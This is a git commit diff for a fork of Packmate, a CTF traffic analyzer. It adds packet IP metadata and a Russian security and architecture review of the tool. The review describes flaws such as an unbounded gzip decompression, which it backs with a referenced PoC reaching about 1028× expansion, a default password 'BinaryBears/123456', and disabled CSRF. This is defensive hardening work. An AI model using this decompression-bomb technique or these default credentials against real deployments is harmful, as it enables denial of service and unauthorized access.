mirror of
https://github.com/Av0idD4rk/packmate.git
synced 2026-10-23 14:31:01 +00:00
Add packet IP metadata and diagnostics
This commit is contained in:
parent
938031f1de
commit
d18328d183
1
.gitignore
vendored
1
.gitignore
vendored
@ -26,6 +26,7 @@ HELP.md
|
|||||||
/nbproject/private/
|
/nbproject/private/
|
||||||
/nbbuild/
|
/nbbuild/
|
||||||
/dist/
|
/dist/
|
||||||
|
__pycache__/
|
||||||
/nbdist/
|
/nbdist/
|
||||||
/.nb-gradle/
|
/.nb-gradle/
|
||||||
|
|
||||||
|
|||||||
3
.gitmodules
vendored
3
.gitmodules
vendored
@ -1,3 +1,4 @@
|
|||||||
[submodule "frontend"]
|
[submodule "frontend"]
|
||||||
path = frontend
|
path = frontend
|
||||||
url = https://gitlab.com/packmate/packmate-frontend.git
|
url = git@github.com:Av0idD4rk/packmate.git
|
||||||
|
branch = frontend
|
||||||
|
|||||||
22
README.md
22
README.md
@ -13,6 +13,7 @@
|
|||||||
* Подстрока
|
* Подстрока
|
||||||
* Регулярное выражение
|
* Регулярное выражение
|
||||||
* Бинарная подстрока
|
* Бинарная подстрока
|
||||||
|
* Показывает IPv4/IPv6 адреса отправителя и получателя для каждого пакета
|
||||||
* Умеет автоматически удалять стримы с определенным контентом, которые не нужно отображать
|
* Умеет автоматически удалять стримы с определенным контентом, которые не нужно отображать
|
||||||
* Умеет сохранять стримы в избранное и отображать только избранные стримы
|
* Умеет сохранять стримы в избранное и отображать только избранные стримы
|
||||||
* Работает с несколькими сервисами на разных портах, может отображать стримы для конкретных сервисов и паттернов
|
* Работает с несколькими сервисами на разных портах, может отображать стримы для конкретных сервисов и паттернов
|
||||||
@ -26,6 +27,21 @@
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
## Изменения этого форка
|
||||||
|
|
||||||
|
IP-адреса сохраняются вместе с пакетами, возвращаются API и отображаются в
|
||||||
|
карточке как `source → destination`.
|
||||||
|
|
||||||
|
Старые записи не содержат IP-адресов, поскольку исходная версия их не сохраняла.
|
||||||
|
Для восстановления адресов нужно повторно импортировать исходный PCAP.
|
||||||
|
Подробности и описание API находятся в
|
||||||
|
[docs/IP_ADDRESSES.md](docs/IP_ADDRESSES.md).
|
||||||
|
|
||||||
|
В [docs/ARCHITECTURE_REVIEW_RU.md](docs/ARCHITECTURE_REVIEW_RU.md) находится
|
||||||
|
ревью готовности к крупным Attack/Defense соревнованиям. Проверочный скрипт для
|
||||||
|
неограниченной распаковки GZIP HTTP находится в
|
||||||
|
[poc/http_gzip_expansion.py](poc/http_gzip_expansion.py).
|
||||||
|
|
||||||
## Быстрый запуск
|
## Быстрый запуск
|
||||||
Для быстрого запуска Packmate следует использовать [этот стартер](https://gitlab.com/packmate/starter/-/blob/master/README.md).
|
Для быстрого запуска Packmate следует использовать [этот стартер](https://gitlab.com/packmate/starter/-/blob/master/README.md).
|
||||||
|
|
||||||
@ -35,15 +51,15 @@
|
|||||||
### Клонирование
|
### Клонирование
|
||||||
Поскольку этот репозиторий содержит фронтенд как git submodule, его необходимо клонировать так:
|
Поскольку этот репозиторий содержит фронтенд как git submodule, его необходимо клонировать так:
|
||||||
```bash
|
```bash
|
||||||
git clone --recurse-submodules https://gitlab.com/packmate/Packmate.git
|
git clone --recurse-submodules git@github.com:Av0idD4rk/packmate.git
|
||||||
|
|
||||||
# Или, на старых версиях git
|
# Или, на старых версиях git
|
||||||
git clone --recursive https://gitlab.com/packmate/Packmate.git
|
git clone --recursive git@github.com:Av0idD4rk/packmate.git
|
||||||
```
|
```
|
||||||
|
|
||||||
Если репозиторий уже был склонирован без подмодулей, необходимо выполнить:
|
Если репозиторий уже был склонирован без подмодулей, необходимо выполнить:
|
||||||
```bash
|
```bash
|
||||||
git pull # Забираем свежую версию мастер-репы из gitlab
|
git pull # Забираем свежую версию master из GitHub
|
||||||
git submodule update --init --recursive
|
git submodule update --init --recursive
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|||||||
318
docs/ARCHITECTURE_REVIEW_RU.md
Normal file
318
docs/ARCHITECTURE_REVIEW_RU.md
Normal file
@ -0,0 +1,318 @@
|
|||||||
|
# Packmate: ревью перед крупным Attack/Defense CTF
|
||||||
|
|
||||||
|
Дата: 2026-10-10. Backend: `938031f1dedfbedabef5b049368ed5b6ba6a900a`;
|
||||||
|
frontend: `8f23d97100f11cd6671bb62aca5ce9b6a898b865`, плюс локальный патч IP-адресов.
|
||||||
|
Проверку выполнили три сабагента по направлениям capture/decoders, backend/DB/API,
|
||||||
|
frontend/deployment; основной агент сопоставил результаты с исходниками.
|
||||||
|
|
||||||
|
Обновление после ревью: реализована regex-фильтрация по IP и необходимое для неё
|
||||||
|
исправление live pattern-фильтра (пункт 9: `foundPatternsIds`). Остальные находки
|
||||||
|
ниже остаются открытыми. По просьбе пользователя работа идёт по одному этапу
|
||||||
|
с остановкой после проверки; следующий предложенный этап — зацикливание regex
|
||||||
|
по содержимому (пункт 1).
|
||||||
|
|
||||||
|
## Вывод
|
||||||
|
|
||||||
|
В текущем виде я бы не использовал Packmate как единственный анализатор трафика
|
||||||
|
на крупном соревновании. Есть подтверждённые пути зависания обработки, потери
|
||||||
|
содержимого, неверного отображения и неограниченного роста памяти. Их нужно
|
||||||
|
исправить до оценки максимальной пропускной способности. Добавление CPU/RAM или
|
||||||
|
реплик приложения само по себе эти ошибки не устраняет.
|
||||||
|
|
||||||
|
Это ревью исходников, а не сертификат производительности. Нагрузочный replay,
|
||||||
|
PostgreSQL EXPLAIN и испытание live capture не проводились. Предполагаемая цель —
|
||||||
|
инструмент команды, принимающий трафик её сервисов; центральный сбор всех команд
|
||||||
|
потребует дополнительно определить изоляцию данных, число sensors и бюджет хранения.
|
||||||
|
|
||||||
|
## Текущая архитектура
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
flowchart LR
|
||||||
|
NIC[Интерфейс / PCAP] --> PCAP[pcap4j: pcap-loop]
|
||||||
|
PCAP --> Q[Live: неограниченная очередь]
|
||||||
|
Q --> P[Один pcap-processor]
|
||||||
|
P --> M[Потоки целиком в heap]
|
||||||
|
M --> D[TLS / WebSocket / HTTP]
|
||||||
|
D --> F[Поиск паттернов]
|
||||||
|
F --> DB[(PostgreSQL через JPA)]
|
||||||
|
DB --> WS[Синхронная рассылка SockJS]
|
||||||
|
WS --> UI[Vue 2 SPA]
|
||||||
|
UI --> API[REST в том же JVM]
|
||||||
|
API --> DB
|
||||||
|
LB[Lookback / retention] --> DB
|
||||||
|
```
|
||||||
|
|
||||||
|
В FILE-режиме обработка идёт inline. Backend, capture, декодирование, REST,
|
||||||
|
WebSocket и фоновые задачи работают в одной JVM. PostgreSQL хранит метаданные,
|
||||||
|
payload `bytea` и совпадения: `Stream → Packet → FoundPattern`, плюс связь
|
||||||
|
`Stream ↔ Pattern`. Vue поставляется внутри JAR. Compose запускает приложение
|
||||||
|
и одну PostgreSQL на host-network. Конфигурация предполагает один `localIp`,
|
||||||
|
сервис идентифицируется портом; caches и подписчики локальны для процесса.
|
||||||
|
|
||||||
|
## Находки с высоким приоритетом
|
||||||
|
|
||||||
|
P1 означает исправление до большого соревнования; P2 — следующий обязательный
|
||||||
|
этап укрепления. Приоритет учитывает условия воспроизведения, а не измеренную частоту.
|
||||||
|
Пути ниже относительно корня репозитория; номера строк относятся к проверенной версии.
|
||||||
|
|
||||||
|
### 1. P1: обработка может зациклиться на обычном regex
|
||||||
|
|
||||||
|
`src/main/java/ru/serega6531/packmate/service/PatternMatcher.java:52–59`:
|
||||||
|
цикл вызывает `matcher.find(startPos)` и присваивает `startPos = matcher.end()`.
|
||||||
|
При пустом совпадении (`^`, `a*`) позиция не сдвигается. Для `^` каждый поиск
|
||||||
|
снова находит диапазон `[0,0)`. Live processor перестаёт сохранять последующие
|
||||||
|
потоки, очередь продолжает расти.
|
||||||
|
|
||||||
|
Исправить продвижение поиска: использовать `Matcher.find()` без ручного сброса
|
||||||
|
позиции и определить политику пустых совпадений. Ограничить стоимость regex на
|
||||||
|
недоверенном payload; один timeout вокруг Java regex не гарантирует остановку
|
||||||
|
вычисления. При необходимости использовать движок с ограниченным временем
|
||||||
|
поиска/линейной сложностью или изолированный worker.
|
||||||
|
|
||||||
|
### 2. P1: один consumer и очередь без лимита
|
||||||
|
|
||||||
|
`pcap/LivePcapWorker.java:39`, `pcap/AbstractPcapWorker.java:202`,
|
||||||
|
`service/StreamService.java:107–141` под `src/main/java/ru/serega6531/packmate/`.
|
||||||
|
`LinkedBlockingQueue<>` не ограничена практически полезным бюджетом. Единственный
|
||||||
|
обработчик синхронно декодирует поток, ищет паттерны, сохраняет его и рассылает WS.
|
||||||
|
Медленная БД, дорогой regex или клиент UI увеличивают backlog захваченных payload
|
||||||
|
в heap вплоть до OOM.
|
||||||
|
|
||||||
|
Разделить этапы, ограничить очереди по байтам и количеству элементов, добавить
|
||||||
|
spool на диск и явную политику перегрузки. Блокирование callback захвата при
|
||||||
|
полной очереди само по себе переносит потери в capture/kernel buffer. Нужны
|
||||||
|
счётчики потерь и возможность повторной обработки сохранённого сырого трафика.
|
||||||
|
|
||||||
|
### 3. P1: активные соединения не имеют лимита размера и возраста
|
||||||
|
|
||||||
|
`pcap/AbstractPcapWorker.java:180,237`, `tasks/TimeoutStreamsSaver.java:16`.
|
||||||
|
Сохраняется весь список пакетов; проверяется только idle timeout последнего
|
||||||
|
пакета. Постоянный WebSocket/UDP/keep-alive поток может расти весь раунд и
|
||||||
|
появиться в UI только после завершения/простоя. FILE-режим не запускает timeout
|
||||||
|
saver: UDP и незакрытые TCP могут копиться до EOF большого дампа.
|
||||||
|
|
||||||
|
Ввести общий budget активных flow, предел байтов на flow, максимальную длительность
|
||||||
|
сегмента и периодическое сохранение частей с общим connection ID. Для FILE
|
||||||
|
эвикция должна использовать время пакетов, а не wall clock обработки дампа.
|
||||||
|
|
||||||
|
### 4. P1: отсутствует TCP reassembly по sequence numbers
|
||||||
|
|
||||||
|
`pcap/AbstractPcapWorker.java:96`, `utils/PacketUtils.java:21`.
|
||||||
|
SEQ не учитывается: payload конкатенируется в порядке захвата. Retransmission
|
||||||
|
дублирует байты, out-of-order меняет содержимое, gaps не обозначаются. Это
|
||||||
|
влияет на поиск флагов, воспроизводимость запросов и декодирование протоколов.
|
||||||
|
|
||||||
|
Нужен двунаправленный reassembly с SYN/SEQ, retransmit/overlap policy, ограниченным
|
||||||
|
окном reorder и признаками incomplete/gap/truncated. Сохранять исходный capture
|
||||||
|
и производное представление раздельно. TLS parser также должен получать поток
|
||||||
|
байтов: сейчас `service/optimization/TlsDecryptor.java:70,275` пытается разобрать
|
||||||
|
TLS record из каждого отдельного TCP payload до объединения.
|
||||||
|
|
||||||
|
### 5. P1: HTTP pipelining теряет данные, распаковка не ограничена
|
||||||
|
|
||||||
|
`service/optimization/HttpProcessor.java:34–43,51–63`,
|
||||||
|
`service/optimization/StreamOptimizer.java:54`.
|
||||||
|
После merge парсится одно HTTP-сообщение; весь исходный блок заменяется им.
|
||||||
|
Два запроса в одном блоке теряют второй перед поиском паттернов. Декодированное
|
||||||
|
тело пишется в растущий `ByteArrayOutputStream`; аргумент `256` у
|
||||||
|
`writeDecodedTo` — размер рабочего буфера, а не лимит результата.
|
||||||
|
|
||||||
|
Потеря второго запроса подтверждена запуском собранного `HttpProcessor` через
|
||||||
|
временный Java harness: вход 87 байт с `/first` и `/second`, выход 43 байта,
|
||||||
|
`HTTP_FIRST_PRESENT=true`, `HTTP_SECOND_PRESENT=false`. Ошибочное равенство
|
||||||
|
ключей flow из раздела P2 также подтверждено исполнением `UnfinishedStream`:
|
||||||
|
разные пары endpoint имеют `equals=true` и одинаковый hash.
|
||||||
|
|
||||||
|
Разбирать все сообщения с учётом framing, сохранять необработанный остаток,
|
||||||
|
ограничить размер декодированного тела, коэффициент расширения и бюджет обработки.
|
||||||
|
Оставлять raw bytes доступными независимо от результата декодирования.
|
||||||
|
|
||||||
|
Воспроизводимый сетевой PoC находится в `poc/http_gzip_expansion.py`. Он
|
||||||
|
отправляет gzip HTTP POST на указанный host/port и позволяет задать точный
|
||||||
|
объём после распаковки. Проверочный запуск с `100MiB` передал 101 942 байта
|
||||||
|
сжатого тела при ожидаемых 104 857 600 байтах после декодирования (1028,6×).
|
||||||
|
Инструкция и ограничения: `poc/README.md`.
|
||||||
|
|
||||||
|
### 6. P1: страница пакетов может загрузить весь оставшийся поток
|
||||||
|
|
||||||
|
`repository/StreamRepository.java:21–27`, `service/StreamService.java:261`.
|
||||||
|
`LEFT JOIN FETCH p.matches` объединён с `Pageable`. При fetch join коллекции
|
||||||
|
Hibernate ограничивает результат в памяти: небольшой pageSize не ограничивает
|
||||||
|
объём прочитанных packets/payload/matches. Повторные страницы большого потока
|
||||||
|
снова выполняют дорогую загрузку. Это вывод по семантике Hibernate; SQL-трасса
|
||||||
|
на реальной PostgreSQL в этом ревью не снималась.
|
||||||
|
|
||||||
|
Сначала получать страницу ID с SQL LIMIT, затем выбранные packets и matches.
|
||||||
|
Кандидат индекса: `(stream_id,id)`. Включить
|
||||||
|
`hibernate.query.fail_on_pagination_over_collection_fetch=true` как регрессионную
|
||||||
|
защиту. Дополнительно ограничить pageSize и байты ответа на сервере.
|
||||||
|
|
||||||
|
### 7. P1: lookback и retention работают слишком крупными транзакциями
|
||||||
|
|
||||||
|
`service/StreamService.java:145–159,270,309`, `repository/StreamRepository.java:19`.
|
||||||
|
Lookback выбирает весь интервал и держит загружаемые packet graphs в одном
|
||||||
|
persistence context. Derived delete retention удаляет сущности через ORM
|
||||||
|
cascade, а не ограниченный bulk SQL. Большая история создаёт heap pressure,
|
||||||
|
длинные транзакции и конкуренцию с ingest. `docker-compose.yml:11` дополнительно
|
||||||
|
отключает cleanup по умолчанию, позволяя БД расти до заполнения диска.
|
||||||
|
|
||||||
|
Lookback: durable jobs, ограниченный executor, курсор, небольшие транзакции,
|
||||||
|
отмена и прогресс. Retention: ограниченные SQL batches с продуманным FK cascade,
|
||||||
|
затем временные партиции. Перед удалением партиции избранные потоки нужно
|
||||||
|
перенести/сохранить отдельно. Политика хранения должна включать бюджет диска.
|
||||||
|
|
||||||
|
### 8. P1: общее изменяемое состояние небезопасно для concurrency
|
||||||
|
|
||||||
|
`service/PatternService.java:39,67,139`, `service/ServicesService.java:35,76,119`:
|
||||||
|
HTTP изменяет обычные HashMap, пока capture и async job их читают/итерируют.
|
||||||
|
Возможны CME и несогласованные настройки. `service/PatternMatcher.java:19–21,141–147`
|
||||||
|
кеширует общие mutable KMP searchers; `utils/KMPStringSearcher.java:16,46,70`
|
||||||
|
содержит изменяемый `lastEnd`. Live и lookback могут портить позиции совпадений
|
||||||
|
друг друга даже после замены map на concurrent variant.
|
||||||
|
|
||||||
|
Публиковать immutable snapshots конфигурации после commit. Кешировать только
|
||||||
|
неизменяемые скомпилированные паттерны; состояние поиска создавать на операцию.
|
||||||
|
Не увеличивать число capture workers без явного владения состоянием каждого flow.
|
||||||
|
|
||||||
|
### 9. P1: live-фильтр по паттерну ломает новые события
|
||||||
|
|
||||||
|
`frontend/src/components/Sidebar.vue:206` читает `stream.foundPatterns.some`,
|
||||||
|
а `model/pojo/StreamDto.java:16` отдаёт `foundPatternsIds`. Воспроизведено запуском
|
||||||
|
реального метода компонента в Node: корректный DTO с `foundPatternsIds:[1]`
|
||||||
|
вызывает TypeError; новый поток при активном pattern-фильтре не появляется.
|
||||||
|
|
||||||
|
Использовать `foundPatternsIds.includes(Number(route.query.pattern))` и общий
|
||||||
|
контракт REST/WS с проверкой события активного фильтра.
|
||||||
|
|
||||||
|
### 10. P1: UI не ограничивает историю и смешивает ответы разных запросов
|
||||||
|
|
||||||
|
`frontend/src/components/Sidebar.vue:35,210`: каждый NEW_STREAM добавляется
|
||||||
|
в неограниченный массив, весь массив рендерится. При условных 100 events/s за час
|
||||||
|
это 360 000 элементов, если вкладка успевает принять события. Это арифметический
|
||||||
|
пример роста, не результат нагрузочного теста.
|
||||||
|
|
||||||
|
`frontend/src/views/ContentStream.vue:62–77`: запоздалый ответ A добавляется
|
||||||
|
в массив после перехода к B. Воспроизведено вызовом исходного метода с отложенным
|
||||||
|
HTTP-ответом. Аналогичная гонка есть у смены фильтра sidebar.
|
||||||
|
|
||||||
|
Ограничить окно истории, виртуализировать списки, пакетировать live updates.
|
||||||
|
Отменять запросы и проверять generation/request key до изменения данных и
|
||||||
|
состояния infinite loader. Виртуализация без ограничения массива не решает память.
|
||||||
|
|
||||||
|
### 11. P1 при доступности из игровой сети: небезопасные значения запуска
|
||||||
|
|
||||||
|
`docker-compose.yml:9–10,20`, `docker/Dockerfile_app:26`: известный fallback
|
||||||
|
`BinaryBears/123456`, host-network и bind `0.0.0.0`. Если UI-порт достижим
|
||||||
|
противником и пароль не переопределён, доступны захваченные данные и управление.
|
||||||
|
Это условный риск конфигурации, а не утверждение о доступности данного компьютера.
|
||||||
|
|
||||||
|
Сделать web password обязательным, отделить management network/VPN и capture
|
||||||
|
interface, настроить TLS для доступа. `configuration/SecurityConfiguration.java:60`
|
||||||
|
также пишет введённый пароль при ошибке входа — убрать его из логов.
|
||||||
|
|
||||||
|
## Дополнительные исправления P2
|
||||||
|
|
||||||
|
| Проблема | Место | Что изменить |
|
||||||
|
|---|---|---|
|
||||||
|
| Ключ flow независимо переставляет IP и порты: `A:80→B:50000` равен `A:50000→B:80` | `model/pojo/UnfinishedStream.java:21` | Сравнивать пары `(IP,port)` целиком, затем протокол; выделять новые поколения TCP-соединений |
|
||||||
|
| Shutdown закрывает pcap, но не дренирует очередь и не сохраняет активные потоки | `pcap/LivePcapWorker.java:63` | Остановить producer, drain consumer, flush flows, завершить executors до закрытия БД |
|
||||||
|
| HEX искажает байты: `FF 80 00` превращается в `FD FD 00` | `frontend/src/components/Packet.vue`, computed `hexdata`, `atou`, `hexdump` | Строить HEX из Uint8Array без UTF-8 преобразования; дефект воспроизведён в Node |
|
||||||
|
| WS не имеет восстановления пропущенных событий | `service/SubscriptionService.java:53–59`, `frontend/src/App.vue:62` | Отдельная очередь на сессию, последовательная отправка, лимиты, cursor/resync при reconnect/overflow |
|
||||||
|
| Lookback продвигает checkpoint до выполнения, FINISH уходит до commit | `service/PatternService.java:153–158`, `service/StreamService.java:159` | Durable job/checkpoint после успешного чанка, after-commit/outbox, идемпотентность повторов |
|
||||||
|
| Lookback не применяет ограничение паттерна по сервису | `service/StreamService.java:148,211` | Одинаковая фильтрация сервиса для live и historical поиска |
|
||||||
|
| Список streams платит за count и lazy N+1; индексы не соответствуют фильтрам | `service/StreamService.java:302`, `configuration/ApplicationConfiguration.java:62`, `model/Stream.java:33` | Slice/limit+1, projections/batch fetch; проверить индексы service+id, timestamps, favorite через EXPLAIN |
|
||||||
|
| Minute counters обновляются и очищаются без синхронизации | `service/CountingService.java:20–46` | Атомарный snapshot/reset; раздельные captured/persisted/ignored/dropped counters |
|
||||||
|
| Размер страницы не ограничен | `model/pojo/PacketPagination.java:12`, `model/pojo/StreamPagination.java:13` | Validation min/max, предел байтов ответа и времени запроса |
|
||||||
|
| Публикация Docker образа не требует Java test | `docker/Dockerfile_app:10`, `.gitlab-ci.yml:20` | Обязательный test gate и frontend lint/build; npm ci, фиксированные версии образов |
|
||||||
|
|
||||||
|
Пути Java в таблице находятся под `src/main/java/ru/serega6531/packmate/`.
|
||||||
|
CSRF отключён при browser Basic auth (`SecurityConfiguration.java:36`):
|
||||||
|
пересмотреть защиту изменяющих состояние endpoints; браузерная эксплуатация
|
||||||
|
в рамках ревью не проверялась. У приложения нет отдельного healthcheck и
|
||||||
|
использования pcap drop statistics; лог executor раз в минуту не определяет
|
||||||
|
сохранность захвата. Поддержка RSA TLS в коде не означает поддержку расшифровки
|
||||||
|
ECDHE/TLS 1.3 без session secrets.
|
||||||
|
|
||||||
|
## Предлагаемая архитектура развития
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
flowchart LR
|
||||||
|
S[Capture sensors] --> R[Ограниченный дисковый spool / raw segments]
|
||||||
|
R --> A[Reassembly: владелец каждого flow]
|
||||||
|
A --> W[Workers: decode и matching]
|
||||||
|
W --> D[(PostgreSQL: metadata / matches)]
|
||||||
|
W --> B[(Сжатые payload segments)]
|
||||||
|
D --> O[Outbox / events]
|
||||||
|
O --> G[WS gateway с cursors]
|
||||||
|
G --> U[UI с ограниченным окном]
|
||||||
|
U --> Q[Query API]
|
||||||
|
Q --> D
|
||||||
|
Q --> B
|
||||||
|
```
|
||||||
|
|
||||||
|
Сначала эти границы можно реализовать в одном развёртывании с отдельными
|
||||||
|
очередями и worker pools. Отдельные сервисы и общая шина нужны после измерений.
|
||||||
|
Сборщик должен владеть всем состоянием конкретного соединения; распределение
|
||||||
|
делать по стабильному ключу `(sensor, endpoint A, endpoint B, protocol)`,
|
||||||
|
с учётом направления и поколения соединения. Shared mutable maps нельзя просто
|
||||||
|
обслуживать несколькими потоками.
|
||||||
|
|
||||||
|
Для нескольких sensors ввести `sensorId`, самостоятельный `serviceId`,
|
||||||
|
endpoint host/IP+port+protocol, capture timestamps и признаки неполноты.
|
||||||
|
Сырые данные должны иметь retention и ссылку из метаданных. Вынос payload
|
||||||
|
из PostgreSQL рассматривать по измеренному IO/объёму; он усложняет атомарность,
|
||||||
|
удаление, доступ к данным и обработку orphan segments. Kafka/ClickHouse не
|
||||||
|
обязательны на первом этапе.
|
||||||
|
|
||||||
|
## Порядок работ и критерии готовности
|
||||||
|
|
||||||
|
1. **Корректность и остановка зависаний.** Исправить regex, KMP concurrency,
|
||||||
|
endpoint equality, HTTP pipelining, frontend filter/races/HEX. Добавить
|
||||||
|
проверки на retransmission/reorder/gaps и корректный TCP reassembly.
|
||||||
|
Acceptance: контрольные байты/флаги воспроизводятся без молчаливого искажения.
|
||||||
|
2. **Ограниченные ресурсы и восстановление.** Бюджеты очередей/flow/decode/UI,
|
||||||
|
сохранение частей долгих соединений, spool, graceful shutdown, WS resync.
|
||||||
|
Acceptance: искусственное замедление БД/браузера не ведёт к бесконечному heap;
|
||||||
|
пропуски явно измеряются, backlog восстанавливается из доступного spool.
|
||||||
|
3. **БД и фоновые задачи.** Двухэтапная пагинация, bounded lookback и retention,
|
||||||
|
индексы по EXPLAIN, durable checkpoints, отдельно сохранённые favorites.
|
||||||
|
Acceptance: запрос одной страницы ограничен объёмом страницы, а не историей;
|
||||||
|
фоновые задачи не исчерпывают DB pool и память ingest.
|
||||||
|
4. **Эксплуатация.** Обязательные credentials, management-доступ, CI gates,
|
||||||
|
метрики и alerting, проверяемый restart/recovery, управление версией схемы
|
||||||
|
через миграции вместо единственного `ddl-auto=update`.
|
||||||
|
5. **Измерение и масштабирование.** PCAP replay на целевом оборудовании с
|
||||||
|
реальным распределением packets/s, bytes/s, flows/s и размеров flow.
|
||||||
|
Проверить ожидаемый пик и запас, например 2×, плюс длительный прогон на
|
||||||
|
продолжительность соревнования. Только после этого обещать конкретный масштаб.
|
||||||
|
|
||||||
|
Набор нагрузочных сценариев: короткие TCP, длительные TCP/UDP, retransmit/reorder,
|
||||||
|
HTTP pipelining и сжатие, TLS segmentation, крупные payload, частые regex matches;
|
||||||
|
одновременно несколько операторов, lookback и retention. Отдельно проверять
|
||||||
|
медленный WS-клиент, reconnect, замедление/недоступность БД, перезапуск процесса,
|
||||||
|
исчерпание бюджета spool и диска. Сравнивать входной manifest пакетов/флагов
|
||||||
|
с сохранёнными данными, включая корректное устранение retransmission.
|
||||||
|
|
||||||
|
Измерять capture/kernel drops, accepted/persisted/ignored/truncated counts,
|
||||||
|
queue bytes и oldest age, active flow bytes, decode/match время, DB commit
|
||||||
|
p95/p99, capture→searchable и capture→UI lag, heap/RSS/GC, disk throughput,
|
||||||
|
retention duration, API p95/p99, browser heap/DOM. Пороговые значения согласовать
|
||||||
|
с фактическим объёмом и задачами команды. Для ориентира бюджета: непрерывный
|
||||||
|
1 Gbit/s — около 450 GB за час до сжатия и накладных расходов хранения.
|
||||||
|
|
||||||
|
## Границы текущих изменений
|
||||||
|
|
||||||
|
В этой рабочей копии реализован запрос на IP-адреса пакетов и добавлены проверки
|
||||||
|
их сохранения при merge/DTO mapping, включая IPv6 и старые записи. Рекомендации
|
||||||
|
ревью выше являются планом доработок; архитектура по ним ещё не переписана.
|
||||||
|
Инструкция по патчу: [IP_ADDRESSES.md](IP_ADDRESSES.md).
|
||||||
|
|
||||||
|
Проверки рабочей копии: backend `bootJar` собран; все 5 новых тестов IP прошли
|
||||||
|
при первом прогоне. Полный прогон первоначально дал 12/13: существующий TLS-тест
|
||||||
|
падает на CRLF в PEM (`Illegal base64 character d`), потому что `RsaKeysHolder`
|
||||||
|
удаляет только LF. После нормализации **копии** fixture в `build/resources/test`
|
||||||
|
на LF и запуска `test -x processTestResources` прошли 13/13. Исходник PEM и TLS
|
||||||
|
loader не изменялись; Windows-совместимость loader требует отдельного исправления.
|
||||||
|
Frontend lint изменённого компонента и production build прошли; сборщик
|
||||||
|
предупреждает о размере vendor bundle. Live capture, миграция схемы и полный
|
||||||
|
браузерный сценарий с работающим backend не запускались.
|
||||||
76
docs/IP_ADDRESSES.md
Normal file
76
docs/IP_ADDRESSES.md
Normal file
@ -0,0 +1,76 @@
|
|||||||
|
# IP-адреса в карточках пакетов
|
||||||
|
|
||||||
|
Пакеты теперь сохраняют `sourceIp` и `destinationIp` из IPv4/IPv6-заголовка
|
||||||
|
при захвате TCP и UDP. Эти поля возвращаются в API пакетов и выводятся над
|
||||||
|
содержимым в формате `источник → получатель`, в текстовом и HEX-режиме.
|
||||||
|
Склеивание соседних пакетов сохраняет адреса; TLS/WebSocket обработчики
|
||||||
|
наследуют их через `toBuilder()`.
|
||||||
|
|
||||||
|
При запуске штатный `spring.jpa.hibernate.ddl-auto=update` добавит nullable
|
||||||
|
колонки `source_ip` и `destination_ip` в таблицу `packet`. Старые записи
|
||||||
|
останутся без адресов: раньше эти данные не сохранялись. Для их восстановления
|
||||||
|
нужен повторный импорт исходного PCAP. Если автоматическое изменение схемы
|
||||||
|
отключено, перед запуском нужно добавить две nullable колонки varchar(255).
|
||||||
|
|
||||||
|
Изменены backend и git submodule `frontend`; при переносе правок нужно
|
||||||
|
сохранять изменения обоих репозиториев. Для существующего Linux-развёртывания
|
||||||
|
с настроенным `.env` пересоберите приложение:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
docker compose up -d --build packmate
|
||||||
|
```
|
||||||
|
|
||||||
|
Проверка backend: `./gradlew test bootJar` (JDK 17).
|
||||||
|
Проверка frontend: `npm ci`, `npm run lint -- --no-fix src/components/Packet.vue`,
|
||||||
|
`NODE_OPTIONS=--openssl-legacy-provider npm run build` (проверено с Node 18).
|
||||||
|
|
||||||
|
Результат: 5 новых проверок IP прошли, frontend lint/build и backend bootJar
|
||||||
|
успешны. В Windows существующий TLS-тест зависит от LF в PEM-файле: с CRLF
|
||||||
|
падает исходный `RsaKeysHolder`. После преобразования переносов только в
|
||||||
|
`build/resources/test/tls.key` и запуска `test -x processTestResources` прошли
|
||||||
|
все 13 тестов. Live capture и миграция PostgreSQL в этой проверке не запускались.
|
||||||
|
|
||||||
|
## Фильтрация IP регулярным выражением
|
||||||
|
|
||||||
|
В **Patterns → +** выберите **Search in**:
|
||||||
|
|
||||||
|
- **Source IP** — адрес отправителя конкретного пакета;
|
||||||
|
- **Destination IP** — адрес получателя;
|
||||||
|
- **Either IP address** — совпадение хотя бы с одним из двух адресов;
|
||||||
|
- **Packet content** — прежний поиск по содержимому.
|
||||||
|
|
||||||
|
При выборе IP метод автоматически переключается на **Regular expression**.
|
||||||
|
Например, `^10\.20\.30\.[0-9]+$` выбирает адреса с префиксом `10.20.30.`,
|
||||||
|
а `^192\.0\.2\.17$` — ровно один адрес. Regex проверяется по строке адреса,
|
||||||
|
показанной в карточке, без порта. IPv6 может быть записан в развёрнутой форме;
|
||||||
|
например, `(?i)^2001:db8:` ищет этот префикс независимо от регистра.
|
||||||
|
Поиск использует Java regex `find()`; якоря `^` и `$` задают совпадение всей строки.
|
||||||
|
|
||||||
|
Для фильтра списка оставьте действие **Highlight found pattern**, сохраните
|
||||||
|
паттерн и выберите его в **Patterns**. Совпавшие IP подсвечиваются в карточках;
|
||||||
|
совпадения по адресам не меняют подсветку payload. Действие **Ignore matching
|
||||||
|
streams** исключает совпадающие новые потоки из сохранения. Направление
|
||||||
|
Request/Response задаётся отдельно; Source/Destination всегда относятся
|
||||||
|
к направлению конкретного пакета, а не к фиксированной роли client/server.
|
||||||
|
|
||||||
|
Для уже сохранённых потоков с IP можно запустить **Apply pattern to older
|
||||||
|
streams**. Без сохранённых адресов IP-паттерн не совпадёт, даже с `.*`.
|
||||||
|
Существующее ограничение lookback по service описано в архитектурном ревью
|
||||||
|
(оно пока не исправлено); до его исправления historical поиск не обеспечивает
|
||||||
|
изоляцию выбранного сервиса. Новые потоки учитывают service и direction.
|
||||||
|
|
||||||
|
API создания паттерна получает новое поле `searchTarget`:
|
||||||
|
`CONTENT`, `SOURCE_IP`, `DESTINATION_IP`, `EITHER_IP`. Для IP допустим только
|
||||||
|
`searchType: REGEX`. Если поле отсутствует/null, действует прежний поиск CONTENT.
|
||||||
|
API совпадений возвращает `searchTarget` фактически совпавшего поля.
|
||||||
|
|
||||||
|
При обновлении также добавляются nullable строковые колонки `search_target`
|
||||||
|
в таблицы `pattern` и `found_pattern` (штатный Hibernate ddl-auto=update).
|
||||||
|
Null в старых строках означает CONTENT. При ручном управлении схемой добавьте
|
||||||
|
эти две колонки varchar(255) перед запуском. Backend и frontend нужно обновить
|
||||||
|
совместно; frontend находится в отдельном git submodule.
|
||||||
|
|
||||||
|
Проверки этого этапа: 20 backend tests (12 новых сценариев IP-паттернов плюс
|
||||||
|
